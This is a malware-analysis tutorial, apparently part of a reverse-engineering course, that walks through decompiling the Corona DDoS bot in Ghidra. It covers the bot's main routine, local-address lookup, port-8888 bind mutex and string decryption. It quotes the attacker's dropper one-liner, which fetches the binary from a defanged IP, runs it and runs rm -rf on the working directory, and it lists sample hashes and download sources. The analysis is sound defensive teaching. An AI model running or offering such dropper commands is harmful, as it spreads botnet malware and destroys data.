Corona DDoS bot

maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/

This article was published on the 14th of October 2019. This article was updated on the 19th of March 2020, as well as on the 7th of December 2021.

Distributed denial of service (DDoS) attacks can successfully deny the victim's access to the internet for a period of time. Compromised servers can be used to launch such an attack. Additionally, the rise of infected *smart* devices that are connected to the internet, allow criminal actors to grow their botnets to sizes that were not seen before. These smart devices aren't updated in time, if updates are released at all.

In this article, the Corona DDoS tool is analysed in the usual step-by-step manner. It contains elements of the BASHLITE family. The used analysis method will mainly focus on a breadth-first top-down approach. Breadth-first means that a function is analysed completely before moving on to functions that are called within the current function. Top-down means that the analysis begins at the start of the program, after which the analysis follows the flow of the program itself.

Table of contents

Outline

In this article, multiple phases will be described using the usual step-by-step approach. Firstly, the main function is analysed in order to get an overview of the malware's lay-out. Secondly, the local address is obtained. Thirdly, the mutex that is used by the malware is described. Fourthly, the decryption routine for the encrypted strings will be analysed and rewritten in Java. Using this decryptor, the actual values of the encrypted strings can be obtained. Fifthly, the bot's registration at the command & control server will be analysed, including a connectivity check. Sixthly, the process of dispatching incoming commands will be analysed. Lastly, a conclusion is made based upon the findings.

Sample information

The sample that is analysed in this article can be found based upon the following information.

```
MD5: c2ab26263fa70e28e6d63b4fe4519a93
SHA-1: 2f1194a220b677fbeb66ad6fed606e795abc5fd0
SHA-256: b2aa076b43bb3369b6af3e884896679009dd91222f4c29f28426fdedc46d2bde
Size: 65620 bytes
```

Additionally, one can download it from VirusBay, Malware Bazaar, or MalShare.

Obtaining the sample

An anonymous source provided the sample, along with the commands that are executed by the malicious actor. The commands are given below.

```
wget http://91[.]209[.]70[.]174/Corona.x86_64; chmod 777 *; ./Corona.x86_64 ROOTS; rm -rf *;)
```

The malware is downloaded from the given URL using wget, after which chmod is used to set the *Read Write Execute* bits of every file in the current directory to *true*. This makes the downloaded program executable. The program is then started with a single command line argument: *ROOTS*. All files in the working directory are then forcefully and recursively removed using rm using *rm -rf*.

Used tooling

The analysis of this program is done with Ghidra 9.0.2. When loading the ELF binary into Ghidra, all default analysis options are selected as well as the *Decompiler Parameter ID* option. Further renaming and retyping of variables will be done manually.

Technical analysis

This version of the Corona bot contains the original symbols, since the binary was not compiled with the *strip* flag. The analysis in this article will not rely on the symbols, as they are not always present, nor are they always accurate.

Ghidra's decompiler will be used to get an overview of the code, but the assembly instructions will be used to verify the output, especially in cases where the generated pseudo code looks unlikely or incorrect.

Committing local variables

When viewing a function in the decompiler, it is helpful to right click somewhere in the decompiler window and select the *Commit Locals* option. This saves the variables for later usage and is used to optimise the code within the function. Additionally, it renames variables based on the argument names of the functions that are called within the code. Whenever a function is analysed within this article, the local variables are committed.

Analysing the main function

The starting point of this binary is found in the *main* function. In here, the core logic of the program is located. The complete code of the function is given below, after which it is analysed in parts.

```
void main(undefined8 uParm1,long lParm2)
{
  __pid_t _Var1;
  uint uVar2;
  time_t tVar3;
  undefined2 local_78;
  undefined local_76 [90];
  uint local_1c;

  local_1c = local_addr();
  ensure_bind((ulong)local_1c);
  signal(0x11,(__sighandler_t)0x1);
  signal(1,(__sighandler_t)0x1);
  _Var1 = fork();
  if (_Var1 < 1) {
    encryption_init();
    if (*(long *)(lParm2 + 8) == 0) {
      strcpy(myinfo + 100,enc_unknown);
    }
    else {
      strcpy(myinfo + 100,*(char **)(lParm2 + 8));
    }
    local_78 = 0x20;
    memset(local_76,0,0x4e);
    prctl(0xf,&local_78);
    tVar3 = time((time_t *)0x0);
    uVar2 = getpid();
    srandom(uVar2 ^ (uint)tVar3);
    do {
      connection();
      recv_buf();
    } while( true );
  }
  return;
}
```

After the declaration of the variables, the *local_addr* function is called, which returns a numeric value. Based on the function name, this function is likely to return the local address of the machine. Based on which *local_1c* can be renamed to *localAddr*. This value is then used as an argument in the *ensure_bind* function, which is likely to ensure that a binding of sorts is present.

The two *signal* function calls after that set the way that signals are handled. The *signal* function has the following function signature:

```
void ( *signal(int signum, void (*handler)(int)) ) (int);
```

The first argument (named *signum*) is the specific value of the signal. The second argument is used to determine what needs to be done with the signal that is specified in the first argument.

In the *main* function's *signal* functions, the *signum* parameter equals *0x11* (or *17* in decimal) and *1*. According to the x86_64 Linux signal.h source code, these values are equal to *SIGCHLD* and *SIGHUP* respectively.

The *SIGCHLD* (*SIG CHILD*) signal is sent to a process when a child process ends. The existence of a child process is logical, since the *fork* function is called later on in the *main* function.

The *SIGHUP* (*SIG HANGUP*) signal is sent to a process when the terminal that controls the process, is closed.

The second parameter, equal to *0x01* in both cases, equals *SIG_IGN* (*SIG IGNORE*), as can be seen in the Linux man pages. This means that the specified signals are effectively ignored, leaving the process running when it's controlling terminal is closed or when a child process ends.

In Ghidra's disassembler view, one can right click on a value and select *Set Equate*. Alternatively, one can press *E*. This allows Ghidra to display a custom string, instead of a constant value. In this case, the enum values can be used to redefine the constant integer values that are given in the disassembly. This increases the readability of the code a lot. The change is given below.

```
//Before
signal(0x11,(__sighandler_t)0x1);
signal(1,(__sighandler_t)0x1);

//After
signal(SIGCHLD,(__sighandler_t)SIG_IGN);
signal(SIGHUP,(__sighandler_t)SIG_IGN);
```

The next part of the function creates a child process. The return value of the *fork* function needs to be less than 1 in order for the execution to continue.

```
  _Var1 = fork();
  if (_Var1 < 1) {
    //Continue execution
  }
  return;
```

The Linux manual pages provide information about the possible return values, as can be seen below.

```
On success, the PID of the child process is returned in the parent,
and 0 is returned in the child.  On failure, -1 is returned in the
parent, no child process is created, and errno is set appropriately.
```

Based on this, one can conclude that the code within the if-statement is executed by the child process. If the creation of the child process fails, the parent will execute the body of the if-statement.

To increase the readability of the code, *_Var1* can be renamed into *forkResult*. One can do this by using the context menu when right clicking on the variable in the decompiler and selecting *Rename Variable*. Alternatively, one can press *L* when the variable is selected.

The body of the if-statement contains a call to the *encryption_init* function, which does not return a value. After that, yet another if-statement is present, as can be seen below.

```
encryption_init();
if (*(long *)(lParm2 + 8) == 0) {
  strcpy(myinfo + 100,enc_unknown);
}
else {
  strcpy(myinfo + 100,*(char **)(lParm2 + 8));
}
```

The variable that is located at *lParm2 + 8* is compared to the value *0*. Within the if-statement, the value is treated as *(*(long *)*, whilst the declared type equals *long*. Within the body of the if-statement, the variable is treated as a **(char **)*.

At first, the value that is located at the address that *lParm2 + 8* points to, is compared to *NULL*. If this is the case, a string named *enc_unknown* is copied into *myinfo + 100*. If the comparison is not equal, the value that resides at *lParm2 + 8* is copied into *myinfo + 100*.

In the x86_64 architecture, the size of an integer equals 8 bytes. The second parameter of the main function is a string array which contains the command line arguments. At index *0*, a pointer towards the program itself is present. At index *1*, a pointer to the first command line argument is given.

In this case, the first check verifies the presence of a command line argument. If it is present, the value is copied into *myinfo + 100*. If not, the value of *enc_unknown* is copied.

Creating a custom structure

The global variable *myinfo* is 300 bytes in size. When using selecting *myinfo* in the disassembler by double clicking, one can use *CTRL + SHIFT + F* to find cross references. As a result, multiple cross references are shown, where only two locations are accessed: *myinfo + 100* and *myinfo + 200*. To clarify the code even further, one can change the type of *myinfo* to a custom struct that contains 3 arrays of 100 characters each.

One can create a custom struct in the Data Type Manager, which is located in the bottom left corner by default. In here, all used data types are found. The binary's name is also included in this list, which is where this custom struct will be added, as the struct only occurs within this binary. Right clicking on the entry with the binary' s name shows a context menu with multiple options. Select *New -> Structure*.

In the bottom part of the screen that pops up, one can give the structure a name. In this case, the given name equals *myinfo_struct*. The green plus at the top is used to add a field to the struct. Next up, double click the on the text box in the *DataType* column. Here, the type of the field is to be defined. In this case, a character array will be used. The length of the array, in all three cases, is 100 characters: *char[100]*.

After defining the fields, they remain nameless. The first field has no references according to the cross references, thus the name is irrelevant. The name that is used in this article is *unknown_1*. The second field contains the command line argument, which can thus be named *command_line_argument*. Lastly, the third field needs a name. As the content of this field is not yet known, the name *unknown_2* is assigned until more information is known.

The floppy symbol saves the custom struct, after which the structure editor can be closed. To use the newly created structure, one needs to navigate to *myinfo* in the disassembler, select it and press *T*. Alternatively, one can use the context menu of the right mouse button and select *Data -> Select Data Type*. Search for *myinfo_struct* and select the type. The decompiled code should then automatically change, as can be seen below.

```
//Before
if (*(long *)(lParm2 + 8) == 0) {
  strcpy(myinfo + 100,enc_unknown);
}
else {
  strcpy(myinfo + 100,*(char **)(lParm2 + 8));
}
//After
if (*(long *)(lParm2 + 8) == 0) {
  strcpy(myinfo.command_line_argument,enc_unknown);
}
else {
  strcpy(myinfo.command_line_argument,*(char **)(lParm2 + 8));
}
```

This makes the code much more readable and removes the mental note that *myinfo + 100* contains the command line argument. Note that *lParm2* can be renamed to *argv*. To further increase the readability of the code, one can retype *argv* into a *char***. The decompiler will then correctly display the variable as an array, as can be seen below.

```
//Before
if (*(long *)(lParm2 + 8) == 0) {
  strcpy(myinfo.command_line_argument,enc_unknown);
}
else {
  strcpy(myinfo.command_line_argument,*(char **)(lParm2 + 8));
}
//After
if (argv[1] == (char *)0x0) {
  strcpy(myinfo.command_line_argument,enc_unknown);
}
else {
  strcpy(myinfo.command_line_argument,argv[1]);
}
```

Continuation of main

The last part of the main function is given below.

```
local_78 = 0x20;
memset(local_76,0,0x4e);
prctl(0xf,&local_78);
```

The variable *local_78* is used as an argument in the prctl (PRocess ConTroL) function. This function alters a process based on the first argument, which is *0xf* (15 in decimal) in this case. The enum's value can be found in prctl.h of the Linux source code. The value *0xf* is equal to *PR_SET_NAME*. This option requires only one additional parameter, which is also present in the decompiled code: a string. This string is the new name of the calling thread.

This effectively changes the parent process' name to *0x20*. The value *0x20* is, according to the ASCII table, a space. This makes the parent process hard to spot in a process overview. The variable *local_78* can be renamed into *parentName*. The refactored code is given below.

```
parentName = 0x20;
memset(local_76,0,0x4e);
prctl(0xf,&parentName);
```

The call to memset seems irrelevant here, as there are no cross references to *local_76* present. This might be a compiler optimisation, or it might be left by the malware's author whilst working on changes.

```
tVar3 = time((time_t *)0x0);
uVar2 = getpid();
srandom(uVar2 ^ (uint)tVar3);
do {
  connection();
  recv_buf();
} while( true );
```

The variable *tVar3* is equal to the return value of the time function. This function returns the amount of seconds that have passed since Epoch (the start of 1970). The getpid function is used to obtain the current process' ID. The process ID is xored with the current time in seconds since epoch, after which the result is passed to the srandom function. The value serves as a seed for future calls towards rand, which returns a random value based on the seed.

As such, the variables *tVar3* and *uVar2* can be renamed into *currentTime* and *pidNumber* respectively. The refactored code is given below.

```
currentTime = time((time_t *)0x0);
pidNumber = getpid();
srandom(pidNumber ^ (uint)currentTime);
```

At last, an endless loop is entered. Within this loop, two functions are called, as can be seen below.

```
do {
  connection();
  recv_buf();
} while( true );
```

A recap of main

Before going into the functions that are called, a quick recap of the main function is given, along with the refactored code.

The *local_addr* function is called, which likely returns the local address, which is then used in the *ensure_bind* function. Two signals are then to be ignored, after which a fork of the program is created.

If the forking is successful, the *encryption_init* function is called. When an argument is given on the command line, that value is copied into the *myinfo* struct. If not, a default value is copied.

The name of the parent thread is then changed to a space, making it harder to see in a visual overview. The *memset* call can be ignored, as there are no cross references. The randomisation function is then seeded with the current time in Epoch format and the current process ID.

At last, the *connection* and *recv_buf* functions are called in an endless loop.

The complete refactored *main* function is given below.

```
void main(undefined8 param_1,char **argv)
{
  __pid_t forkResult;
  uint pidNumber;
  time_t currentTime;
  undefined2 parentName;
  undefined local_76 [90];
  uint localAddr;

  localAddr = local_addr();
  ensure_bind((ulong)localAddr);
  signal(SIGCHLD,(__sighandler_t)SIG_IGN);
  signal(SIGHUP,(__sighandler_t)SIG_IGN);
  forkResult = fork();
  if (forkResult < 1) {
    encryption_init();
    if (argv[1] == (char *)0x0) {
      strcpy(myinfo.command_line_argument,enc_unknown);
    }
    else {
      strcpy(myinfo.command_line_argument,argv[1]);
    }
    parentName = 0x20;
    memset(local_76,0,0x4e);
    prctl(0xf,&parentName);
    currentTime = time((time_t *)0x0);
    pidNumber = getpid();
    srandom(pidNumber ^ (uint)currentTime);
    do {
      connection();
      recv_buf();
    } while( true );
  }
  return;
}
```

Determining the next steps

At this point, one can set out multiple paths to fully analyse the malware. In this case, all unknown functions will be analysed in the order that they are encountered. This approach works the best to fully understand what the malware is doing.

If the goal is to analyse how a specific part of the malware works, searching for cross references to relevant functions and system calls will yield faster results.

Obtaining the local address

The local address of a device is useful for malware authors as it is a unique identifier of the infected device. It can provide information about the geographical location of the victim. Additionally, it is useful to know what the address of a bot is, if the main purpose of the bot is to participate in DDoS attacks.

Before diving into the *local_addr* function, it is worth to note the *myinfo* struct's third field is used in this method. The code is given below.

```
ulong local_addr(void)
{
  int __fd;
  uint local_3c;
  socklen_t local_2c;
  sa_family_t local_28;
  uint16_t local_26;
  uint32_t local_24;
  int local_c;

  local_2c = 0x10;
  __fd = socket(2,2,0);
  if (__fd == -1) {
    local_3c = 0;
  }
  else {
    local_28 = 2;
    local_3c = htonl(0x8080808);
    htons(0x35);
    connect(__fd,(sockaddr *)&local_28,0x10);
    getsockname(__fd,(sockaddr *)&local_28,&local_2c);
    close(__fd);
    sprintf(myinfo.unknown_2,"%d.%d.%d.%d",(ulong)(byte)local_3c,(ulong)(byte)
(local_3c >> 8),
            (ulong)(local_3c >> 0x10 & 0xff),(ulong)(local_3c >> 0x18));
  }
  return (ulong)local_3c;
}
```

The socket function is used to create a socket. The function signature is given below.

```
int socket (int __domain, int __type, int __protocol)
```

When looking into the x86_64 Linux source code for socket.h, one will see that the domain equals *AF_INET*. The type, as can be seen here, equals *SOCK_DGRAM*. The protocol value 0, as defined in */etc/protocols* on Linux systems, leaves the protocol type up to the system. Below is an excerpt from the manual page:

```
The protocol specifies a particular protocol to be used with the socket. Normally
only a single protocol exists to support a particular socket type within a given
protocol family, in which case protocol can be specified as 0.
```

Using the equate functionality, one can change the values in Ghidra according to their original names. The change in code is given below.

```
//Before
__fd = socket(2,2,0);
//After
__fd = socket(AF_INET,SOCK_DGRAM,DEFAULT_PROTOCOL);
```

The return value of the socket is *-1* when an error occurs. If there is no error, the file descriptor is returned. The variable *local_3c* is returned at the end of the function. As such, it can be refactored to *output*. The output is converted from host order into network order using htonl.

If there is no error, the *local_28* variable is set to *2*. Additionally, one can see the call to the htons function, which converts the value from host to network order. The hexadecimal value *0x35* equals *53* in decimal. One can display the decimal value in Ghidra by right clicking the value and selecting *Convert*, where *Unsigned Decimal* should be chosen.

The getsockname function is used to get the address to which the given socket is bound. Alternatively, it can also be used to determine what the IP address of the callee is, as can be read here. This condition is only met if the connect function is called without a prior call to the bind function. It expects several arguments, as can be seen below.

```
int getsockname(int sockfd, struct sockaddr *addr, socklen_t * addrlen);
```

In this case, the first argument is the socket that was created before. The second argument seems to point to a structure with the following lay-out:

```
struct sockaddr {
   unsigned short   sa_family;
   char             sa_data[14];
};
```

The value *2* (which is equal to *AF_INET*), is set as a family type. The second field, however, is never set, as can be seen below.

```
local_28 = 2;
output = htonl(0x8080808);
htons(0x35);
```

The *output* variable is made equal to *8.8.8.8*, which is Google's DNS server address. The htons function receives a single argument, which is equal to *53* in decimal. This is the port that is used for DNS requests.

The reason that the code looks odd here, is because the wrong type is being used. When looking at other socketaddr structs, one will see the *sockaddr_in* structure, which is also given below.

```
struct sockaddr_in {
   short int            sin_family;
   unsigned short int   sin_port;
   struct in_addr       sin_addr;
   unsigned char        sin_zero[8];
};
```

This structure has fields for the family, port, address and some padding. When changing the type of *local_28*, the decompiler automatically adjusts the code. A comparison is given below.

```
//Before
local_28 = 2;
output = htonl(0x8080808);
htons(0x35);

//After
local_28.sin_family = 2;
local_28.sin_addr = htonl(0x8080808);
local_28.sin_port = htons(0x35);
```

Note that the socket input family (where the value equals two) also equals *AF_INET*. This can also be changed in the disassembler to reflect this in the code.

```
//Before
local_28.sin_family = 2;

//After
local_28.sin_family = AF_INET;
```

Based on this information, the *local_28* variable can be renamed into *socket_input*. The getsockname function requires the socket address input structure size as a third parameter. As such, the *local_2c* variable can be renamed to *socketSize*. The changes in the code are given below.

```
//[...]
socket_input.sin_family = AF_INET;
socket_input.sin_addr = htonl(0x8080808);
socket_input.sin_port = htons(0x35);
//[...]
getsockname(__fd,(sockaddr *)&socket_input,&socketSize);
```

After that, a connection is made to the IP address, the socket name is obtained and the socket handle is closed. As described above, a call to connect without a call to the bind function, will result in the local address of the device in the given *sockaddr_in* structure. The local address is then copied into the *unknown_2* field of the *myinfo* struct.

To edit the *myinfo* struct, one needs to search for the struct's name in the Data Type Manager, right click on it, and select *Edit*. The name of the third field should be changed from *unknown_2* to *local_address*. Press the floppy icon to save the changes. The disassembly and decompiler views are then automatically updated to show the latest changes. Below, the difference in code is given.

```
//Before
sprintf(myinfo.unknown_2,"%d.%d.%d.%d",(ulong)(byte)socket_input.sin_addr,
            (ulong)(byte)(socket_input.sin_addr >> 8),(ulong)(socket_input.sin_addr
>> 0x10 & 0xff),
            (ulong)(socket_input.sin_addr >> 0x18));
//After
sprintf(myinfo.local_address,"%d.%d.%d.%d",(ulong)(byte)socket_input.sin_addr,
            (ulong)(byte)(socket_input.sin_addr >> 8),(ulong)(socket_input.sin_addr
>> 0x10 & 0xff),
            (ulong)(socket_input.sin_addr >> 0x18));
```

local_addr summary

To summarise, the socket is created. Upon failure to do so, this function will return *-1*. If the socket creation succeeds, a DNS request is made to Google's DNS server 8.8.8.8 at port 53. The return value will contain the local address, which is then stored in the *myinfo* struct. Additionally, the function will return the local IP address.

The complete refactored function is given below.

```
ulong local_addr(void)
{
  int __fd;
  uint32_t output;
  socklen_t socketLength;
  sockaddr_in socket_input;
  int local_c;

  socketLength = 0x10;
  __fd = socket(AF_INET,SOCK_DGRAM,DEFAULT_PROTOCOL);
  if (__fd == -1) {
    output = 0;
  }
  else {
    socket_input.sin_family = AF_INET;
    socket_input.sin_addr = htonl(0x8080808);
    socket_input.sin_port = htons(0x35);
    connect(__fd,(sockaddr *)&socket_input,0x10);
    getsockname(__fd,(sockaddr *)&socket_input,&socketLength);
    close(__fd);
    sprintf(myinfo.local_address,"%d.%d.%d.%d",(ulong)(byte)socket_input.sin_addr,
            (ulong)(byte)(socket_input.sin_addr >> 8),(ulong)(socket_input.sin_addr
>> 0x10 & 0xff),
            (ulong)(socket_input.sin_addr >> 0x18));
    output = socket_input.sin_addr;
  }
  return (ulong)output;
}
```

The socket mutex

A mutex is used rather often in malware. It is generally used to check if the system is already infected. To avoid interfering with itself, the newest instance of the malware will then shut itself off. A mutex can be the system's mutex, but it can also be a file or a registry key. In this case, a different type of mutex is used.

Analysing ensure_bind

The first step is to commit the local variables, in order for Ghidra to optimise the decompiled code.

When taking a quick glance at the decompiled output, a similar case compared to the previous function can be seen. The variable *local_28* is of the *sa_family_t* type, but is used as the *sockaddr* in the bind function.

Changing the type from *sa_family_t* to *socketaddr_in* provides the correct decompiled pseudo code. Also note the fact that *ensure_bind* does not take any arguments, whilst the code in the *main* function does provide an argument: the return value of the *local_addr* function. When the correct type is applied, the function argument becomes visible and usable. The difference is given below.

```
//Before
  if (__fd != -1) {
    local_28 = 2;
    htons(0x22b8);
    uVar1 = fcntl(__fd,3,0);

//After
  if (__fd != -1) {
    local_28.sin_family = 2;
    local_28.sin_port = htons(0x22b8);
    local_28.sin_addr = iParm1;
    uVar1 = fcntl(__fd,3,0);
```

The variable *local_28* can be renamed into *socketAddr*. The complete code of the *ensure_bind* function is given below.

```
void ensure_bind(in_addr_t iParm1)
{
  int __fd;
  uint uVar1;
  int iVar1;
  uint32_t uVar2;
  int *piVar3;
  int *piVar2;
  sockaddr_in socketAddr;
  int local_10;
  int local_c;

  __fd = 0xffffffff;
  __fd = socket(2,1,0);
  if (__fd != -1) {
    socketAddr.sin_family = 2;
    socketAddr.sin_port = htons(0x22b8);
    socketAddr.sin_addr = iParm1;
    uVar1 = fcntl(__fd,3,0);
    fcntl(__fd,4,(ulong)(uVar1 & 0xffff0000 | (uint)CONCAT11((char)((ulong)uVar1 >>
8),(char)uVar1))
                | 0x800);
    piVar3 = __GI___errno_location();
    *piVar3 = 0;
    iVar1 = bind(__fd,(sockaddr *)&socketAddr,0x10);
    piVar2 = __GI___errno_location();
    if ((iVar1 == -1) && (*piVar2 == 99)) {
      close(__fd);
      sleep(1);
      uVar2 = htonl(0x7f000001);
      ensure_bind((ulong)uVar2);
    }
    else {
      if (iVar1 == -1) {
        exit(1);
      }
      listen(__fd,1);
    }
  }
  return;
}
```

At first, an *AF_INET* socket is created, of the *SOCK_STREAM* type, together with the default protocol. The change is given below.

```
//Before
__fd = socket(2,1,0);

/After
__fd = socket(AF_INET,SOCK_STREAM,DEFAULT_PROTOCOL);
```

If the creation of the socket does not fail, a *sockaddr_in* struct is created. The family equals *AF_INET*, which is represented by the value *2*. The port is equal to *0x22b8* (or *8888* in decimal). The address is taken from the function's argument, which is named *iParm1*. Since

the value of *iParm1* is equal to the return value of *local_addr*, this value is equal to the IP address of the machine. This variable can be renamed to *inputAddress*.

The next part of the body of the if-statement calls fcntl (which stands for *File CoNTroL*) twice. This function requires a file descriptor as input, together with a command and a value.

```
uVar1 = fcntl(__fd,3,0);
fcntl(__fd,4,(ulong)(uVar1 & 0xffff0000 | (uint)CONCAT11((char)((ulong)uVar1 >> 8),
(char)uVar1)) | 0x800);
```

Per Linux' source code, the commands *3* and *4* are equal to *F_GETFL* and *F_SETFL* respectively. These commands, in order, get and set the file, based on the given file descriptor. These can be changed within Ghidra as such. The refactored code is given below.

```
uVar1 = fcntl(__fd,F_GETFL,0);
fcntl(__fd,F_SETFL,(ulong)(uVar1 & 0xffff0000 | (uint)CONCAT11((char)((ulong)uVar1 >>
8),(char)uVar1)) | 0x800);
```

The next part of the code is given below.

```
piVar3 = __GI___errno_location();
*piVar3 = 0;
iVar1 = bind(__fd,(sockaddr *)&socketAddr,0x10);
piVar2 = __GI___errno_location();
if ((iVar1 == -1) && (*piVar2 == 99)) {
```

The outcome of the first *__GI___errno_location* call is set to *0* directly afterwards. As such, the *piVar3* variable can be ignored within this function.

After that, the bind function is called to bind the newly created *sockaddr_in* onto the given socket. The return value is stored in *iVar1*. The *iVar1* variable can be renamed to *bindResult*. Additionally, the last error code is obtained and stored in *piVar2*. The *piVar2* can be renamed to *lastErrorCode*. The refactored code is given below.

```
piVar3 = __GI___errno_location();
*piVar3 = 0;
bindResult = bind(__fd,(sockaddr *)&socketAddr,0x10);
lastErrorCode = __GI___errno_location();
if ((bindResult == -1) && (*lastErrorCode == 99)) {
```

The if-statement above checks if the *bindResult* is equal to *-1* and if the last error code is equal to *99*. The enum value that corresponds with *99* is present in the Linux source code: *EADDRNOTAVAIL*. Using the Equate functionality within Ghidra, one can replace *99* with *EADDRNOTAVAIL*. This value is returned when the address is not available, which would happen when it is already in use. The code is given below.

```
if ((bindResult == -1) && (*lastErrorCode == EADDRNOTAVAIL)) {
  close(__fd);
  sleep(1);
  uVar2 = htonl(0x7f000001); //127.0.0.1
  ensure_bind((ulong)uVar2);
}
```

If this is the case, the socket is closed, a one second sleep is induced, and the address *127.0.0.1* is stored in *uVar2*. The *uVar2* variable can be renamed into *localhost*. The *iVar1* variable can be renamed into *bindResult*. The *ensure_bind* function is then called again, this time with *127.0.0.1* as its parameter. Effectively, port *8888* on the machine is used, be it via the previously obtained local address or via the local host.

The next part of the code is given below.

```
if (bindResult == -1) { //
  exit(1);
}
listen(__fd,1);
```

If the socket cannot be created but the error code does not equal *99*, the program exits. If the socket can be created, the listen function is called. The first argument is the file descriptor. The second argument is the size of the *backlog*, which is the amount of incoming connections that are put on hold for the given socket. If the given number is exceeded, *ECONNREFUSED* (or *111* in decimal) is returned.

This binding serves as some sort of mutex: if the bot is already active, the binding is complete and a new instance will then shut itself down. If it is the first instance, it creates the required bindings and continues with the execution.

The complete refactored code of the function is given below.

```
void ensure_bind(in_addr_t inputAddress)
{
  int __fd;
  uint uVar1;
  int bindResult;
  uint32_t localhost;
  int *piVar3;
  int *lastErrorCode;
  sockaddr_in socketAddr;
  int local_10;
  int local_c;

  __fd = 0xffffffff;
  __fd = socket(AF_INET,SOCK_STREAM,DEFAULT_PROTOCOL);
  if (__fd != -1) {
    socketAddr.sin_family = 2;
    socketAddr.sin_port = htons(0x22b8);
    socketAddr.sin_addr = inputAddress;
    uVar1 = fcntl(__fd,F_GETFL,0);
    fcntl(__fd,F_SETFL,
          (ulong)(uVar1 & 0xffff0000 | (uint)CONCAT11((char)((ulong)uVar1 >> 8),
(char)uVar1)) |
          0x800);
    piVar3 = __GI___errno_location();
    *piVar3 = 0;
    bindResult = bind(__fd,(sockaddr *)&socketAddr,0x10);
    lastErrorCode = __GI___errno_location();
    if ((bindResult == -1) && (*lastErrorCode == EADDRNOTAVAIL)) {
      close(__fd);
      sleep(1);
      localhost = htonl(0x7f000001);
      ensure_bind(localhost);
    }
    else {
      if (bindResult == -1) {
        exit(1);
      }
      listen(__fd,1);
    }
  }
  return;
}
```

String decryption

The *encryption_init* is a simple function, in the sense that it calls the same function (*encryption*) several times, before it returns. The code is given below.

```
void encryption_init(void)
{
  encryption(enc_udp,2,&DAT_00407cf7);
  encryption(enc_tcp,2,&DAT_00407cfb);
  encryption(enc_http,2,&DAT_00407cff);
  encryption(enc_std,2,&DAT_00407d04);
  encryption(enc_xmas,2,&DAT_00407d08);
  encryption(enc_vse,2,&DAT_00407d0d);
  encryption(enc_proc_kill,2,"A*A*t)sB&&uDx");
  encryption(enc_name,2,"oDwD$*");
  encryption(enc_unknown,2,"x$s$Dt$");
  return;
}
```

The *encryption* function (with comitted locals) is given below.

```
void encryption(undefined8 *puParm1,int iParm2,char *pcParm3)
{
  char cVar2;
  ulong uVar2;
  ulong uVar3;
  char *pcVar4;
  char *pcVar3;
  int local_20;
  int local_1c;
  uint local_18;
  int local_14;
  int local_10;
  uint local_c;
  char cVar1;

  if (iParm2 == 1) {
    local_20 = 0;
    local_1c = 0;
    *puParm1 = 0;
    do {
      uVar2 = 0xffffffffffffffff;
      pcVar4 = pcParm3;
      do {
        if (uVar2 == 0) break;
        uVar2 = uVar2 - 1;
        cVar1 = *pcVar4;
        pcVar4 = pcVar4 + 1;
      } while (cVar1 != 0);
      if (~uVar2 - 1 <= (ulong)(long)local_20) {
        *(undefined *)((long)local_1c + (long)puParm1) = 0;
        return;
      }
      local_18 = 0;
      while (local_18 < 0x41) {
        if (pcParm3[(long)local_20] == dec[(long)(int)local_18]) {
          *(undefined *)((long)local_1c + (long)puParm1) = enc[(long)(int)local_18];
          local_1c = local_1c + 1;
        }
        local_18 = local_18 + 1;
      }
      local_20 = local_20 + 1;
    } while( true );
  }
  if (iParm2 != 2) {
    return;
  }
  local_14 = 0;
  local_10 = 0;
  *puParm1 = 0;
  do {
    uVar3 = 0xffffffffffffffff;
    pcVar3 = pcParm3;
    do {
      if (uVar3 == 0) break;
      uVar3 = uVar3 - 1;
```

```
      cVar2 = *pcVar3;
      pcVar3 = pcVar3 + 1;
    } while (cVar2 != 0);
    if (~uVar3 - 1 <= (ulong)(long)local_14) {
      *(undefined *)((long)local_10 + (long)puParm1) = 0;
      return;
    }
    local_c = 0;
    while (local_c < 0x41) {
      if (pcParm3[(long)local_14] == enc[(long)(int)local_c]) {
        *(undefined *)((long)local_10 + (long)puParm1) = dec[(long)(int)local_c];
        local_10 = local_10 + 1;
      }
      local_c = local_c + 1;
    }
    local_14 = local_14 + 1;
  } while( true );
}
```

When looking at the *encryption* function, it is apparent that the second parameter is used to execute a part of the function. Below, the code structure is highlighted.

```
if (iParm2 == 1) {
  //Do something
}
if (iParm2 != 2) {
  return;
}
//Do something else
```

The compiler generates the above given structure based on an if-else structure, as shown below.

```
if (iParm2 == 1) {
  //Do something
} else if (iParm2 == 2) {
  //Do something else
}
```

In all occurences, the value *2* is used for the second parameter. Therefore, one can assume that the second parameter defines the mode that is used within the function. The first parameter is a global string, whereas the third parameter is a literal string. Based on these observations, the signature of the *encryption* function can be represented as follows.

```
encryption(char *output, int mode, char *input);
```

Aside from renaming the three variables in Ghidra, the type of the first variable also needs to be redefined. Instead of *undefined8*, the type is a *char **. To decrypt the strings, one ony has to look at the code that is executed when the *mode* is equal to *2*. The code segment is given below, after which it will be optimised and rewritten in Java.

```
  local_14 = 0;
  local_10 = 0;
  *(undefined8 *)output = 0;
  do {
    uVar3 = 0xffffffffffffffff;
    pcVar3 = input;
    do {
      if (uVar3 == 0) break;
      uVar3 = uVar3 - 1;
      cVar2 = *pcVar3;
      pcVar3 = pcVar3 + 1;
    } while (cVar2 != 0);
    if (~uVar3 - 1 <= (ulong)(long)local_14) {
      output[(long)local_10] = 0;
      return;
    }
    local_c = 0;
    while (local_c < 0x41) {
      if (input[(long)local_14] == enc[(long)(int)local_c]) {
        output[(long)local_10] = dec[(long)(int)local_c];
        local_10 = local_10 + 1;
      }
      local_c = local_c + 1;
    }
    local_14 = local_14 + 1;
  } while( true );
```

The variable *uVar3* is made equal to *0xffffffffffffffff* in the decompiler. When looking in the disassembly, one can see that the value is actually *-1*.

```
0040217b                MOV        uVar3,-0x1
```

The decryption code seems to be rather complete based on the decompiled code. However, there are a few parts that are not optimised. The variables *enc* and *dec* are two arrays, both of which are 64 bytes in size.

The second do-while loop looks more complicated than it is. The code is given below.

```
uVar3 = -1; //Written as 0xffffffffffffffff in the decompiled code
pcVar3 = input;
do {
  if (uVar3 == 0) break;
  uVar3 = uVar3 - 1;
  cVar2 = *pcVar3;
  pcVar3 = pcVar3 + 1;
} while (cVar2 != 0);
if (~uVar3 - 1 <= (ulong)(long)local_14) {
//[omitted code]
```

The loop is broken when *uVar3* (a copy of *input*) is equal to *0*, or when *cVar2* is not equal to *0*. A string is terminated with a *NULL* byte, meaning that the loop is only broken when the end of the *input* string has been reached.

Within the loop, *uVar3* is decreased with 1 in each iteration. The variable *cVar2* is set equal to the current address of *pcVar3*, after which *pcVar3*'s value is incremented with one. This effectively moves *cVar2* to the next character of the string in the next iteration.

